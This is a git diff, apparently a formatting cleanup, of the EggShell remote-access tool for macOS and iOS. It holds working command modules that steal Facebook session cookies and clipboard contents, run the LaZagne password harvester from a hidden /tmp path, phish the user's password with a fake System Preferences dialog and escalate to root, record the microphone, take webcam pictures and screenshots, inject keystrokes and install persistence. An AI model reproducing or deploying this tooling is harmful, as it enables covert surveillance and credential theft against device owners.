- def run(self,session,cmd_data):
- cmd_data["cmd"] = ";"
- cmd_data["args"] = "touch /var/mobile/Library/Preferences/com.saurik.mobilesubstrate.dat; killall SpringBoard"
+ def run(self, session, cmd_data):
+ cmd_data["cmd"] = ";"
+ cmd_data["args"] = "touch /var/mobile/Library/Preferences/com.saurik.mobilesubstrate.dat; killall SpringBoard"
result = session.send_command(cmd_data)
if result:
- print result
+ print(result)
diff --git a/modules/commands/iOS/say_ios.py b/modules/commands/iOS/say_ios.py
index fb0ea00..1c80bdb 100644
--- a/modules/commands/iOS/say_ios.py
+++ b/modules/commands/iOS/say_ios.py
@@ -3,8 +3,8 @@ def __init__(self):
self.name = "say"
self.description = "text to speach"
self.usage = "Usage: say hello"
-
- def run(self,session,cmd_data):
- if not cmd_data['args']:
- print self.usage
+
+ def run(self, session, cmd_data):
+ if not cmd_data['args']:
+ print(self.usage)
session.send_command(cmd_data)
diff --git a/modules/commands/iOS/setvol.py b/modules/commands/iOS/setvol.py
index a10ea63..64b6fcf 100644
--- a/modules/commands/iOS/setvol.py
+++ b/modules/commands/iOS/setvol.py
@@ -3,9 +3,9 @@ def __init__(self):
self.name = "setvol"
self.description = "set device volume"
self.usage = "Usage: volume 1.0"
-
- def run(self,session,cmd_data):
- if not cmd_data['args']:
- print self.usage
- return
+
+ def run(self, session, cmd_data):
+ if not cmd_data['args']:
+ print(self.usage)
+ return
session.send_command(cmd_data)
diff --git a/modules/commands/iOS/setvol_ios.py b/modules/commands/iOS/setvol_ios.py
index a10ea63..64b6fcf 100644
--- a/modules/commands/iOS/setvol_ios.py
+++ b/modules/commands/iOS/setvol_ios.py
@@ -3,9 +3,9 @@ def __init__(self):
self.name = "setvol"
self.description = "set device volume"
self.usage = "Usage: volume 1.0"
-
- def run(self,session,cmd_data):
- if not cmd_data['args']:
- print self.usage
- return
+
+ def run(self, session, cmd_data):
+ if not cmd_data['args']:
+ print(self.usage)
+ return
session.send_command(cmd_data)
diff --git a/modules/commands/iOS/sysinfo_ios.py b/modules/commands/iOS/sysinfo_ios.py
index e2abc73..b4618da 100644
--- a/modules/commands/iOS/sysinfo_ios.py
+++ b/modules/commands/iOS/sysinfo_ios.py
@@ -1,7 +1,7 @@
class command:
- def __init__(self):
- self.name = "sysinfo"
- self.description = "view system information"
-
- def run(self,session,cmd_data):
- print session.send_command(cmd_data)
+ def __init__(self):
+ self.name = "sysinfo"
+ self.description = "view system information"
+
+ def run(self, session, cmd_data):
+ print(session.send_command(cmd_data))
diff --git a/modules/commands/iOS/vibrate_ios.py b/modules/commands/iOS/vibrate_ios.py
index 53391d4..1c8b665 100644
--- a/modules/commands/iOS/vibrate_ios.py
+++ b/modules/commands/iOS/vibrate_ios.py
@@ -1,7 +1,7 @@
class command:
- def __init__(self):
- self.name = "vibrate"
- self.description = "vibrate device"
+ def __init__(self):
+ self.name = "vibrate"
+ self.description = "vibrate device"
- def run(self,session,cmd_data):
- session.send_command(cmd_data)
+ def run(self, session, cmd_data):
+ session.send_command(cmd_data)
diff --git a/modules/commands/local/clear.py b/modules/commands/local/clear.py
index b1af93d..8b2230f 100644
--- a/modules/commands/local/clear.py
+++ b/modules/commands/local/clear.py
@@ -1,10 +1,10 @@
import os
+
class command:
def __init__(self):
self.name = "clear"
self.description = "clear terminal"
-
- def run(self,session,cmd_data):
- os.system('clear')
+ def run(self, session, cmd_data):
+ os.system('clear')
diff --git a/modules/commands/local/local.py b/modules/commands/local/local.py
index 539ab66..549c220 100644
--- a/modules/commands/local/local.py
+++ b/modules/commands/local/local.py
@@ -1,14 +1,15 @@
import os
from os.path import expanduser
+
class command:
def __init__(self):
self.name = "local"
self.description = "Run local shell commands"
-
- def run(self,session,cmd_data):
+
+ def run(self, session, cmd_data):
if not cmd_data['args']:
- print "Usage: local shell commands"
+ print("Usage: local shell commands")
return
else:
split_args = cmd_data['args'].split()
@@ -18,5 +19,4 @@ def run(self,session,cmd_data):
path = expanduser("~")
os.chdir(path)
else:
- os.system(cmd_data['args'])
-
+ os.system(cmd_data['args'])
diff --git a/modules/commands/macOS/brightness_macos.py b/modules/commands/macOS/brightness_macos.py
index f4d774c..36123d9 100644
--- a/modules/commands/macOS/brightness_macos.py
+++ b/modules/commands/macOS/brightness_macos.py
@@ -4,11 +4,11 @@ def __init__(self):
self.description = "adjust screen brightness"
self.usage = "Usage: brightness 0.x"
self.type = "native"
-
- def run(self,session,cmd_data):
+
+ def run(self, session, cmd_data):
try:
float(cmd_data["args"])
except:
- print self.usage
+ print(self.usage)
return
session.send_command(cmd_data)
diff --git a/modules/commands/macOS/getfacebook.py b/modules/commands/macOS/getfacebook.py
index 7c1107c..1e75f4a 100644
--- a/modules/commands/macOS/getfacebook.py
+++ b/modules/commands/macOS/getfacebook.py
@@ -3,5 +3,5 @@ def __init__(self):
self.name = "getfacebook"
self.description = "retrieve facebook session cookies"
- def run(self,session,cmd_data):
- print session.send_command(cmd_data)
+ def run(self, session, cmd_data):
+ print(session.send_command(cmd_data))
diff --git a/modules/commands/macOS/getfacebook_macos.py b/modules/commands/macOS/getfacebook_macos.py
index 7c1107c..1e75f4a 100644
--- a/modules/commands/macOS/getfacebook_macos.py
+++ b/modules/commands/macOS/getfacebook_macos.py
@@ -3,5 +3,5 @@ def __init__(self):
self.name = "getfacebook"
self.description = "retrieve facebook session cookies"
- def run(self,session,cmd_data):
- print session.send_command(cmd_data)
+ def run(self, session, cmd_data):
+ print(session.send_command(cmd_data))
diff --git a/modules/commands/macOS/getpaste_macos.py b/modules/commands/macOS/getpaste_macos.py
index 6cbd8ce..7d79ea9 100644
--- a/modules/commands/macOS/getpaste_macos.py
+++ b/modules/commands/macOS/getpaste_macos.py
@@ -4,5 +4,5 @@ def __init__(self):
self.description = "get pasteboard contents"
self.type = "native"
- def run(self,session,cmd_data):
- print session.send_command(cmd_data)
+ def run(self, session, cmd_data):
+ print(session.send_command(cmd_data))
diff --git a/modules/commands/macOS/getvol_macos.py b/modules/commands/macOS/getvol_macos.py
index afd64b9..3e81700 100644
--- a/modules/commands/macOS/getvol_macos.py
+++ b/modules/commands/macOS/getvol_macos.py
@@ -1,11 +1,13 @@
import json
+
+
class command:
def __init__(self):
self.name = "getvol"
self.description = "get speaker output volume"
- self.type = "applescript"
+ self.type = "applescript"
- def run(self,session,cmd_data):
+ def run(self, session, cmd_data):
payload = "output volume of (get volume settings)"
- cmd_data.update({"cmd":"applescript","args":payload})
- print session.send_command(cmd_data)
+ cmd_data.update({"cmd": "applescript", "args": payload})
+ print(session.send_command(cmd_data))
diff --git a/modules/commands/macOS/idletime_macos.py b/modules/commands/macOS/idletime_macos.py
index 7f477f7..ca8d7f9 100644
--- a/modules/commands/macOS/idletime_macos.py
+++ b/modules/commands/macOS/idletime_macos.py
@@ -4,5 +4,5 @@ def __init__(self):
self.description = "get the amount of time since the keyboard/cursor were touched"
self.type = "native"
- def run(self,session,cmd_data):
- print session.send_command(cmd_data)
+ def run(self, session, cmd_data):
+ print(session.send_command(cmd_data))
diff --git a/modules/commands/macOS/imessage_macos.py b/modules/commands/macOS/imessage_macos.py
index fafa5bd..3577eaa 100644
--- a/modules/commands/macOS/imessage_macos.py
+++ b/modules/commands/macOS/imessage_macos.py
@@ -4,19 +4,19 @@ def __init__(self):
self.description = "send message through the messages app"
self.type = "applescript"
- def run(self,session,cmd_data):
- #do something with session if you want
- #we can prompt for input
+ def run(self, session, cmd_data):
+ # do something with session if you want
+ # we can prompt for input
phone = raw_input("[*] Enter iMessage recipient: ")
message = raw_input("[*] Enter message: ")
- #send applescript payload
+ # send applescript payload
payload = """tell application "Messages"
set targetService to 1st service whose service type = iMessage
- set targetBuddy to buddy \""""+phone+"""\" of targetService
- send \""""+message+"""\" to targetBuddy
+ set targetBuddy to buddy \"""" + phone + """\" of targetService
+ send \"""" + message + """\" to targetBuddy
end tell"""
- cmd_data.update({"args":payload})
- cmd_data.update({"cmd":self.type})
+ cmd_data.update({"args": payload})
+ cmd_data.update({"cmd": self.type})
result = session.send_command(cmd_data)
if result and result != "(null)":
- print result
+ print(result)
diff --git a/modules/commands/macOS/itunes_macos.py b/modules/commands/macOS/itunes_macos.py
index ce0f6be..d452533 100644
--- a/modules/commands/macOS/itunes_macos.py
+++ b/modules/commands/macOS/itunes_macos.py
@@ -4,32 +4,32 @@ def __init__(self):
self.description = "iTunes Controller"
self.type = "applescript"
- def run(self,session,cmd_data):
- if cmd_data['args'] == "next":
- payload = """
+ def run(self, session, cmd_data):
+ if cmd_data['args'] == "next":
+ payload = """
tell application \"iTunes\"
- with timeout of 2 seconds
+ with timeout of 2 seconds
next track
end timeout
end tell"""
elif cmd_data['args'] == "prev":
- payload = """
+ payload = """
tell application \"iTunes\"
- with timeout of 2 seconds
+ with timeout of 2 seconds
previous track
end timeout
end tell"""
elif cmd_data['args'] == "pause":
- payload = """
+ payload = """
tell application \"iTunes\"
- with timeout of 2 seconds
+ with timeout of 2 seconds
pause
end timeout
end tell"""
- elif cmd_data['args'] == "play":
- payload = """
+ elif cmd_data['args'] == "play":
+ payload = """
tell application \"iTunes\"
- with timeout of 2 seconds
+ with timeout of 2 seconds
play
end timeout
end tell"""
@@ -43,7 +43,7 @@ def run(self,session,cmd_data):
end tell
"""
elif cmd_data['args'] == "info":
- payload = """
+ payload = """
tell application "iTunes"
with timeout of 5 seconds
if player state is paused then
@@ -57,9 +57,9 @@ def run(self,session,cmd_data):
end timeout
end tell"""
else:
- print "Usage: itunes play|pause|next|prev|info|airplay"
+ print("Usage: itunes play|pause|next|prev|info|airplay")
return
- cmd_data.update({"cmd":"applescript","args":payload})
+ cmd_data.update({"cmd": "applescript", "args": payload})
result = session.send_command(cmd_data)
if result:
- print result
+ print(result)
diff --git a/modules/commands/macOS/keyboard_macos.py b/modules/commands/macOS/keyboard_macos.py
index 9b47274..6797daf 100644
--- a/modules/commands/macOS/keyboard_macos.py
+++ b/modules/commands/macOS/keyboard_macos.py
@@ -1,13 +1,16 @@
-import time
import base64
import json
+import time
+
try:
# Win32
from msvcrt import getch
except ImportError:
# UNIX
def getch():
- import sys, tty, termios
+ import sys
+ import tty
+ import termios
fd = sys.stdin.fileno()
old = termios.tcgetattr(fd)
try:
@@ -16,6 +19,7 @@ def getch():
finally:
termios.tcsetattr(fd, termios.TCSADRAIN, old)
+
class command:
def __init__(self):
self.name = "keyboard"
@@ -23,17 +27,16 @@ def __init__(self):
self.type = "applescript"
self.id = 115
- def run(self,session,cmd_data):
- #do something with conn if you want
- print "type CTRL c to quit"
- print "start typing..."
+ def run(self, session, cmd_data):
+ # do something with conn if you want
+ print("type CTRL c to quit")
+ print("start typing...")
while 1:
key = getch()
if key == chr(03):
return ""
payload = """tell application "System Events"
- keystroke \""""+key+"""\"
+ keystroke \"""" + key + """\"
end tell"""
- session.send_command({"cmd":"applescript","args":payload})
+ session.send_command({"cmd": "applescript", "args": payload})
return ""
-
diff --git a/modules/commands/macOS/lazagne_macos.py b/modules/commands/macOS/lazagne_macos.py
index 9d2b6d8..3de3922 100644
--- a/modules/commands/macOS/lazagne_macos.py
+++ b/modules/commands/macOS/lazagne_macos.py
@@ -1,16 +1,19 @@
-import modules
import os
+import modules
+
+
class command:
def __init__(self):
self.name = "lazagne"
self.description = "firefox password retrieval | (https://github.com/AlessandroZ/LaZagne/wiki)"
self.type = "custom"
-
- def run(self,session,cmd_data):
- print "Uploading ..."
- session.upload_file("resources/lazagne_macos.zip","/tmp",".lazagne_macos.zip")
- print "Running ..."
+
+ def run(self, session, cmd_data):
+ print("Uploading ...")
+ session.upload_file("resources/lazagne_macos.zip",
+ "/tmp", ".lazagne_macos.zip")
+ print("Running ...")
payload = "/tmp/.lazagne_macos.zip -d /tmp/.lazagne >/dev/null;rm /tmp/.lazagne_macos.zip;/usr/bin/python /tmp/.lazagne/lazagne_macos/laZagne.py all;rm -rf /tmp/.lazagne"
- result = session.send_command({"cmd":"unzip","args":payload})
- print result
+ result = session.send_command({"cmd": "unzip", "args": payload})
+ print(result)
diff --git a/modules/commands/macOS/mic_macos.py b/modules/commands/macOS/mic_macos.py
index 9d4f2f0..0e90fad 100644
--- a/modules/commands/macOS/mic_macos.py
+++ b/modules/commands/macOS/mic_macos.py
@@ -1,15 +1,17 @@
-import modules.helper as h
import json
-import time
import os
+import time
+
+import modules.helper as h
+
class command:
def __init__(self):
self.name = "mic"
self.description = "record mic"
-
- def run(self,session,cmd_data):
- # #print output
+
+ def run(self, session, cmd_data):
+ # #print output
if cmd_data["args"] == "stop":
# expect json
result = json.loads(session.send_command(cmd_data))
@@ -21,12 +23,12 @@ def run(self,session,cmd_data):
# save to file
file_name = "mic{0}.caf".format(str(int(time.time())))
h.info_general("Saving {0}".format(file_name))
- f = open(os.path.join('downloads',file_name),'w')
+ f = open(os.path.join('downloads', file_name), 'w')
f.write(data)
f.close()
h.info_general("Saved to ./downloads/{0}".format(file_name))
-
+
elif cmd_data["args"] == "record":
h.info_general(session.send_command(cmd_data))
else:
- print "Usage: mic record/stop"
+ print("Usage: mic record/stop")
diff --git a/modules/commands/macOS/picture_macos.py b/modules/commands/macOS/picture_macos.py
index 40a8fba..b4d6d26 100644
--- a/modules/commands/macOS/picture_macos.py
+++ b/modules/commands/macOS/picture_macos.py
@@ -1,27 +1,31 @@
-import json, time, binascii, os
+import binascii
+import json
+import os
+import time
+
import modules.helper as h
+
class command:
def __init__(self):
self.name = "picture"
self.description = "take picture through iSight"
self.type = "native"
- def run(self,session,cmd_data):
- h.info_general("Taking picture...")
- response = json.loads(session.send_command(cmd_data))
- try:
- success = response["status"]
- if success == 1:
- size = int(response["size"])
- file_name = "isight_{0}.jpg".format(int(time.time()))
- data = session.sock_receive_data(size)
- h.info_general("Saving {0}".format(file_name))
- # save to file
- f = open(os.path.join('downloads',file_name),'w')
- f.write(data)
- f.close()
- h.info_general("Saved to ./downloads/{0}".format(file_name))
- except Exception as e:
- print e
-
+ def run(self, session, cmd_data):
+ h.info_general("Taking picture...")
+ response = json.loads(session.send_command(cmd_data))
+ try:
+ success = response["status"]
+ if success == 1:
+ size = int(response["size"])
+ file_name = "isight_{0}.jpg".format(int(time.time()))
+ data = session.sock_receive_data(size)
+ h.info_general("Saving {0}".format(file_name))
+ # save to file
+ f = open(os.path.join('downloads', file_name), 'w')
+ f.write(data)
+ f.close()
+ h.info_general("Saved to ./downloads/{0}".format(file_name))
+ except Exception as e:
+ print(str(e))
diff --git a/modules/commands/macOS/prompt_macos.py b/modules/commands/macOS/prompt_macos.py
index 4038d96..45278ce 100644
--- a/modules/commands/macOS/prompt_macos.py
+++ b/modules/commands/macOS/prompt_macos.py
@@ -1,20 +1,22 @@
-import time
import json
+import time
+
import modules.helper as h
+
class command:
def __init__(self):
self.name = "prompt"
self.description = "prompt user to type password"
self.type = "applescript"
- def run(self,session,cmd_data):
+ def run(self, session, cmd_data):
payload = """
tell application "Finder"
activate
set myprompt to "Type your password to allow System Preferences to make changes"
-
+
set ans to "Cancel"
repeat
@@ -25,24 +27,25 @@ def run(self,session,cmd_data):
if mypass > "" then exit repeat
end try
end repeat
-
+
try
do shell script "echo " & quoted form of mypass
end try
end tell
"""
- cmd_data.update({"cmd":"applescript","args":payload})
+ cmd_data.update({"cmd": "applescript", "args": payload})
password = session.send_command(cmd_data).strip()
- #display response
- print h.COLOR_INFO+"[*] "+h.WHITE+"Response: "+h.GREEN+password+h.WHITE
- #prompt for root
+ # display response
+ print(h.COLOR_INFO + "[*] " + h.WHITE +
+ "Response: " + h.GREEN + password + h.WHITE)
+ # prompt for root
tryroot = raw_input("Would you like to try for root? (Y/n) ")
tryroot = tryroot if tryroot else "y"
if tryroot.lower() != "y":
return ""
- #TODO: I am so lazy, probably should use the su command
- password = password.replace("\\","\\\\").replace("'","\\'")
- cmd_data.update({"cmd":"eggsu","args":password})
+ # TODO: I am so lazy, probably should use the su command
+ password = password.replace("\\", "\\\\").replace("'", "\\'")
+ cmd_data.update({"cmd": "eggsu", "args": password})
result = session.send_command(cmd_data)
if "root" in result:
h.info_general("Root Granted")
@@ -53,6 +56,5 @@ def run(self,session,cmd_data):
else:
session.needs_refresh = True
else:
- print "failed getting root"
+ print("failed getting root")
return ""
-
diff --git a/modules/commands/macOS/screenshot_macos.py b/modules/commands/macOS/screenshot_macos.py
index 329a8c1..3e906dc 100644
--- a/modules/commands/macOS/screenshot_macos.py
+++ b/modules/commands/macOS/screenshot_macos.py
@@ -1,26 +1,28 @@
import json
-import time
import os
+import time
+
import modules.helper as h
+
class command:
def __init__(self):
self.name = "screenshot"
self.description = "take screenshot"
self.type = "native"
- def run(self,session,cmd_data):
- result = json.loads(session.send_command(cmd_data))
- if 'error' in result:
- h.info_error(result['error'])
- return
- elif 'size' in result:
- size = int(result['size'])
- data = session.sock_receive_data(size)
- file_name = "screenshot_{0}.jpg".format(int(time.time()))
- h.info_general("Saving {0}".format(file_name))
- # save to file
- f = open(os.path.join('downloads',file_name),'w')
- f.write(data)
- f.close()
- h.info_general("Saved to ./downloads/{0}".format(file_name))
+ def run(self, session, cmd_data):
+ result = json.loads(session.send_command(cmd_data))
+ if 'error' in result:
+ h.info_error(result['error'])
+ return
+ elif 'size' in result:
+ size = int(result['size'])
+ data = session.sock_receive_data(size)
+ file_name = "screenshot_{0}.jpg".format(int(time.time()))
+ h.info_general("Saving {0}".format(file_name))
+ # save to file
+ f = open(os.path.join('downloads', file_name), 'w')
+ f.write(data)
+ f.close()
+ h.info_general("Saved to ./downloads/{0}".format(file_name))
diff --git a/modules/commands/macOS/setvol.py b/modules/commands/macOS/setvol.py
index e3709ae..99fe2eb 100644
--- a/modules/commands/macOS/setvol.py
+++ b/modules/commands/macOS/setvol.py
@@ -2,13 +2,13 @@ class command:
def __init__(self):
self.name = "setvol"
self.description = "set output volume"
-
- def run(self,session,cmd_data):
+
+ def run(self, session, cmd_data):
if not cmd_data['args']:
- print "Usage: setvol 0-100"
+ print("Usage: setvol 0-100")
return -1
- payload = "set volume output volume "+cmd_data['args']
- cmd_data.update({"cmd":"applescript","args":payload})
+ payload = "set volume output volume " + cmd_data['args']
+ cmd_data.update({"cmd": "applescript", "args": payload})
result = session.send_command(cmd_data)
if result:
- print result
\ No newline at end of file
+ print(result)
diff --git a/modules/commands/macOS/setvol_macos.py b/modules/commands/macOS/setvol_macos.py
index e3709ae..99fe2eb 100644
--- a/modules/commands/macOS/setvol_macos.py
+++ b/modules/commands/macOS/setvol_macos.py
@@ -2,13 +2,13 @@ class command:
def __init__(self):
self.name = "setvol"
self.description = "set output volume"
-
- def run(self,session,cmd_data):
+
+ def run(self, session, cmd_data):
if not cmd_data['args']:
- print "Usage: setvol 0-100"
+ print("Usage: setvol 0-100")
return -1
- payload = "set volume output volume "+cmd_data['args']
- cmd_data.update({"cmd":"applescript","args":payload})
+ payload = "set volume output volume " + cmd_data['args']
+ cmd_data.update({"cmd": "applescript", "args": payload})
result = session.send_command(cmd_data)
if result:
- print result
\ No newline at end of file
+ print(result)
diff --git a/modules/commands/macOS/sleep_macos.py b/modules/commands/macOS/sleep_macos.py
index 91aa873..62a86d7 100644
--- a/modules/commands/macOS/sleep_macos.py
+++ b/modules/commands/macOS/sleep_macos.py
@@ -3,9 +3,9 @@ def __init__(self):
self.name = "sleep"
self.description = "put device into sleep mode"
- def run(self,session,cmd_data):
- cmd_data["cmd"] = "osascript"
- cmd_data["args"] = " -e 'tell application \"Finder\" to sleep'"
+ def run(self, session, cmd_data):
+ cmd_data["cmd"] = "osascript"
+ cmd_data["args"] = " -e 'tell application \"Finder\" to sleep'"
result = session.send_command(cmd_data)
if result:
- print result
+ print result
diff --git a/modules/commands/macOS/su_macos.py b/modules/commands/macOS/su_macos.py
index 383760d..1f0de21 100644
--- a/modules/commands/macOS/su_macos.py
+++ b/modules/commands/macOS/su_macos.py
@@ -1,17 +1,19 @@
-import time
import getpass
+import time
+
import modules.helper as h
+
class command:
def __init__(self):
self.name = "su"
self.description = "su login"
self.type = "eggsu"
- def run(self,session,cmd_data):
+ def run(self, session, cmd_data):
password = getpass.getpass("Password: ")
cmd_data['args'] = password
- password = password.replace("\\","\\\\").replace("'","\\'")
+ password = password.replace("\\", "\\\\").replace("'", "\\'")
cmd_data['cmd'] = "eggsu"
result = session.send_command(cmd_data)
if "root" in result:
@@ -23,4 +25,4 @@ def run(self,session,cmd_data):
else:
session.needs_refresh = True
else:
- print "failed getting root"
+ print("failed getting root")
diff --git a/modules/commands/macOS/suspend_macos.py b/modules/commands/macOS/suspend_macos.py
index f3970c8..9ab0dca 100644
--- a/modules/commands/macOS/suspend_macos.py
+++ b/modules/commands/macOS/suspend_macos.py
@@ -3,9 +3,9 @@ def __init__(self):
self.name = "suspend"
self.description = "suspend current session (goes back to login screen)"
- def run(self,session,cmd_data):
- cmd_data["cmd"] = ";"
- cmd_data["args"] = '/System/Library/CoreServices/Menu\ Extras/User.menu/Contents/Resources/CGSession -suspend'
+ def run(self, session, cmd_data):
+ cmd_data["cmd"] = ";"
+ cmd_data["args"] = '/System/Library/CoreServices/Menu\ Extras/User.menu/Contents/Resources/CGSession -suspend'
result = session.send_command(cmd_data)
if result:
- print result
+ print(result)
diff --git a/modules/commands/universal/cd_universal.py b/modules/commands/universal/cd_universal.py
index 8b64eed..6a5658b 100644
--- a/modules/commands/universal/cd_universal.py
+++ b/modules/commands/universal/cd_universal.py
@@ -1,16 +1,19 @@
-from modules import helper as h
import json
+from modules import helper as h
+
+
class command:
def __init__(self):
self.name = "cd"
self.description = "change directory"
-
- def run(self,session,cmd_data):
+
+ def run(self, session, cmd_data):
result = json.loads(session.send_command(cmd_data))
if 'error' in result:
- h.info_error(result['error'])
+ h.info_error(result['error'])
elif 'current_directory' in result:
- session.current_directory = result['current_directory'].encode('utf-8')
+ session.current_directory = result['current_directory'].encode(
+ 'utf-8')
else:
- h.info_error('unable to get current directory')
\ No newline at end of file
+ h.info_error('unable to get current directory')
diff --git a/modules/commands/universal/download_universal.py b/modules/commands/universal/download_universal.py
index 195ab03..51bbbdf 100644
--- a/modules/commands/universal/download_universal.py
+++ b/modules/commands/universal/download_universal.py
@@ -1,25 +1,27 @@
import json
import os
+
import modules.helper as h
+
class command:
- def __init__(self):
- self.name = "download"
- self.description = "download file"
- self.usage = "Usage: download file"
- self.type = "native"
+ def __init__(self):
+ self.name = "download"
+ self.description = "download file"
+ self.usage = "Usage: download file"
+ self.type = "native"
- def run(self,session,cmd_data):
- if not cmd_data['args']:
- print self.usage
- return
- file_name = os.path.split(cmd_data['args'])[-1]
- h.info_general("Downloading {0}".format(file_name))
- data = session.download_file(cmd_data['args'])
- if data:
- # save to downloads
- h.info_general("Saving {0}".format(file_name))
- f = open(os.path.join('downloads',file_name),'w')
- f.write(data)
- f.close()
- h.info_general("Saved to ./downloads/{0}".format(file_name))
+ def run(self, session, cmd_data):
+ if not cmd_data['args']:
+ print(self.usage)
+ return
+ file_name = os.path.split(cmd_data['args'])[-1]
+ h.info_general("Downloading {0}".format(file_name))
+ data = session.download_file(cmd_data['args'])
+ if data:
+ # save to downloads
+ h.info_general("Saving {0}".format(file_name))
+ f = open(os.path.join('downloads', file_name), 'w')
+ f.write(data)
+ f.close()
+ h.info_general("Saved to ./downloads/{0}".format(file_name))
diff --git a/modules/commands/universal/ls_universal.py b/modules/commands/universal/ls_universal.py
index 148d205..f292a15 100644
--- a/modules/commands/universal/ls_universal.py
+++ b/modules/commands/universal/ls_universal.py
@@ -1,25 +1,27 @@
import json
+
import modules.helper as h
+
class command:
def __init__(self):
self.name = "ls"
self.description = "list contents of a directory"
self.usage = "Usage: ls directory/path/"
-
- def run(self,session,cmd_data):
+
+ def run(self, session, cmd_data):
if not cmd_data['args']:
cmd_data['args'] = '.'
data = session.send_command(cmd_data)
try:
contents = json.loads(data)
except:
- print data
+ print(data)
return
keys = contents.keys()
keys.sort()
for k in keys:
if contents[k] == 4 or contents[k] == 10:
- print h.COLOR_INFO + k + h.ENDC
+ print(h.COLOR_INFO + k + h.ENDC)
else:
- print k
+ print(k)
diff --git a/modules/commands/universal/persistence_macos.py b/modules/commands/universal/persistence_macos.py
index 5d115fb..e586f45 100644
--- a/modules/commands/universal/persistence_macos.py
+++ b/modules/commands/universal/persistence_macos.py
@@ -1,19 +1,20 @@
import modules.helper as h
+
class command:
def __init__(self):
self.name = "persistence"
self.description = "attempts to re establish connection after close"
self.usage = "Usage: persistence install|uninstall"
- def run(self,session,cmd_data):
+ def run(self, session, cmd_data):
if cmd_data['args'] == "install":
h.info_general("Installing...")
elif cmd_data['args'] == "uninstall":
h.info_general("Uninstalling...")
else:
- print self.usage
+ print(self.usage)
return
result = session.send_command(cmd_data)
if result:
- h.info_error(result)
\ No newline at end of file
+ h.info_error(result)
diff --git a/modules/commands/universal/pid_universal.py b/modules/commands/universal/pid_universal.py
index 0050174..2eb2d05 100644
--- a/modules/commands/universal/pid_universal.py
+++ b/modules/commands/universal/pid_universal.py
@@ -4,5 +4,5 @@ def __init__(self):
self.description = "get process id"
self.type = "native"
- def run(self,session,cmd_data):
- print session.send_command(cmd_data)
+ def run(self, session, cmd_data):
+ print(session.send_command(cmd_data))
diff --git a/modules/commands/universal/pwd_universal.py b/modules/commands/universal/pwd_universal.py
index 99d323b..ed32dcc 100644
--- a/modules/commands/universal/pwd_universal.py
+++ b/modules/commands/universal/pwd_universal.py
@@ -2,6 +2,6 @@ class command:
def __init__(self):
self.name = "pwd"
self.description = "show current directory"
-
- def run(self,session,cmd_data):
- print session.send_command(cmd_data)
\ No newline at end of file
+
+ def run(self, session, cmd_data):
+ print(session.send_command(cmd_data))
diff --git a/modules/commands/universal/upload_universal.py b/modules/commands/universal/upload_universal.py
index 95f26a1..6a99501 100644
--- a/modules/commands/universal/upload_universal.py
+++ b/modules/commands/universal/upload_universal.py
@@ -1,25 +1,28 @@
+import os
+import re
+
import modules.helper as h
-import re, os
+
class command:
def __init__(self):
self.name = "upload"
self.description = "upload file"
self.usage = "Usage: upload path/to/localfile upload/path"
-
- def run(self,session,cmd_data):
+
+ def run(self, session, cmd_data):
if not cmd_data['args']:
- print self.usage
+ print(self.usage)
return
else:
paths = re.split(r'(? 2:
- print "USAGE"
+ print("USAGE")
return
-
+
local_dir = os.path.split(paths[0])[0]
local_file = os.path.split(paths[0])[1]
-
+
if len(paths) == 1:
remote_dir = "."
remote_file = local_file
@@ -31,5 +34,5 @@ def run(self,session,cmd_data):
if not remote_file:
remote_file = local_file
- session.upload_file(paths[0],remote_dir,remote_file)
+ session.upload_file(paths[0], remote_dir, remote_file)
h.info_general("Done")
diff --git a/modules/helper.py b/modules/helper.py
index d1e76f8..3f43591 100644
--- a/modules/helper.py
+++ b/modules/helper.py
@@ -1,13 +1,13 @@
-#Helper
-#created by lucas.py
-#3-5-17
-import sys
+# Helper
+# created by lucas.py
+# 3-5-17
import base64
import os
import socket
+import sys
WINDOWS = sys.platform.startswith('win')
-#colors
+# colors
GREEN = '' if WINDOWS else '\033[1;92m'
RED = '' if WINDOWS else '\033[1;91m'
WHITE = '' if WINDOWS else '\033[0;97m'
@@ -18,8 +18,8 @@
UNDERLINE_GREEN = '' if WINDOWS else '\033[4;92m'
WHITEBU = '' if WINDOWS else '\033[1;4m'
COLOR_INFO = '' if WINDOWS else '\033[0;36m'
-NES = ('SELECT' if WINDOWS else '\033[0;32m')+"EggShell"+WHITE+"> "
-#cmds
+NES = ('SELECT' if WINDOWS else '\033[0;32m') + "EggShell" + WHITE + "> "
+# cmds
CMD_CLEAR = 'cls' if WINDOWS else 'clear'
CMD_PWD = 'cd' if WINDOWS else 'pwd'
CMD_LS = 'dir' if WINDOWS else 'ls'
@@ -30,23 +30,23 @@ def clear():
def info_general(string):
- print "{0}[*] {1}{2}".format(COLOR_INFO,WHITE,string)
+ print("{0}[*] {1}{2}".format(COLOR_INFO, WHITE, string))
def info_general_raw(string):
- return "{0}[*] {1}{2}".format(COLOR_INFO,WHITE,string)
-
+ return("{0}[*] {1}{2}".format(COLOR_INFO, WHITE, string))
+
def info_error(string):
- print "{0}[*] {1}{2}".format(RED,WHITE,string)
+ print("{0}[*] {1}{2}".format(RED, WHITE, string))
def info_warning(string):
- print "{0}[*] {1}{2}".format(YELLOW,WHITE,string)
+ print("{0}[*] {1}{2}".format(YELLOW, WHITE, string))
def show_command(mod):
- print mod.name + " " * (15 - len(mod.name)) + ": " + mod.description
+ print(mod.name + " " * (15 - len(mod.name)) + ": " + mod.description)
def b64(s):
@@ -55,7 +55,10 @@ def b64(s):
def getip():
try:
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM);s.connect(("192.168.1.1",80));host = s.getsockname()[0];s.close()
+ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+ s.connect(("192.168.1.1", 80))
+ host = s.getsockname()[0]
+ s.close()
host = host
except:
host = "127.0.0.1"
@@ -79,13 +82,11 @@ def find_longest_common_prefix(values):
def generate_keys():
- print "Initializing server..."
+ print("Initializing server...")
if not os.path.exists(".keys"):
os.makedirs(".keys")
os.system(
- "cd .keys;"+
- "openssl genrsa -out server.key 2048 2>/dev/null;"+
- "openssl req -new -key server.key -subj '/C=US/ST=EggShell/L=EggShell/O=EggShell/CN=EggShell' -out server.csr;"+
- "openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt 2>/dev/null")
-
-
\ No newline at end of file
+ "cd .keys;" +
+ "openssl genrsa -out server.key 2048 2>/dev/null;" +
+ "openssl req -new -key server.key -subj '/C=US/ST=EggShell/L=EggShell/O=EggShell/CN=EggShell' -out server.csr;" +
+ "openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt 2>/dev/null")
diff --git a/modules/multihandler.py b/modules/multihandler.py
index 3c1f0fa..34fc9af 100644
